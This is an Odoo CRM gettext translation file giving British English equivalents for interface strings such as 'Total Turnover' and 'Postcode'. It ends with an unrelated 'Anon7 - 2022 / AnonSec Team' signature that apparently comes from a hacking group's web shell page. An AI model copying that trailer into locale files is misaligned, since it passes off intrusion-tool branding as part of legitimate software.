#. module: crm
#: model:crm.activity,name:crm.crm_activity_data_meeting
#: model:mail.message.subtype,name:crm.crm_activity_data_meeting_mail_message_subtype
msgid "Task"
msgstr "Task"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"The three main practices to develop a sales force are\n"
"                        <strong>methodical organization</strong>, "
"<strong>trainings</strong> and\n"
"                        <strong>good sales tools</strong>."
msgstr ""
"The three main practices to develop a sales force are\n"
"                        <strong>methodical organisation</strong>, "
"<strong>trainings</strong> and\n"
"                        <strong>good sales tools</strong>."

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_title
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
msgid "Title"
msgstr "Title"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_total_revenue
msgid "Total Revenue"
msgstr "Total Turnover"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_lead_type
#: model:ir.model.fields,field_description:crm.field_crm_lead_type
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_type
msgid "Type"
msgstr "Type"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"Unless you are starting a new business, you probably have a list of "
"customers and vendors you'd like to import."
msgstr ""
"Unless you are starting a new business, you probably have a list of "
"customers and suppliers you'd like to import."

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_kanban_view_leads
#: model:ir.ui.view,arch_db:crm.view_crm_case_leads_filter
#: model:ir.ui.view,arch_db:crm.view_crm_case_opportunities_filter
msgid "Unread Messages"
msgstr "Unread Messages"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_write_date
msgid "Update Date"
msgstr "Update Date"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_user_id
msgid "User"
msgstr "User"

#. module: crm
#: model:ir.model,name:crm.model_res_users
msgid "Users"
msgstr "Users"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_group_by_vat
msgid "VAT"
msgstr "VAT"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"We can handle the whole import process\n"
"                                        for you: simply send your Odoo "
"project\n"
"                                        manager a CSV file containing all "
"your\n"
"                                        data."
msgstr ""
"We can handle the whole import process\n"
"                                        for you: simply send your Odoo "
"project\n"
"                                        manager a CSV file containing all "
"your\n"
"                                        data."

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_wizard_id
msgid "Wizard"
msgstr "Wizard"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
msgid "ZIP"
msgstr "Postcode"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_zip
msgid "Zip"
msgstr "Postcode"

#. module: crm
#: model:ir.ui.view,arch_db:crm.base_partner_merge_automatic_wizard_form
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "or"
msgstr "or"

#. module: crm
#: model:ir.model,name:crm.model_sale_config_settings
msgid "sale.config.settings"
msgstr "sale.config.settings"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"to organize all your documents like: customer presentations, product sheets, "
"comparisons with competitors, pain points sheets, training materials, etc."
msgstr ""
"to organise all your documents like: customer presentations, product sheets, "
"comparisons with competitors, pain points sheets, training materials, etc."

#. module: crm
#: code:addons/crm/models/crm_lead.py:877
#, python-format
msgid "unknown"
msgstr "unknown"

Anon7 - 2022
AnonSec Team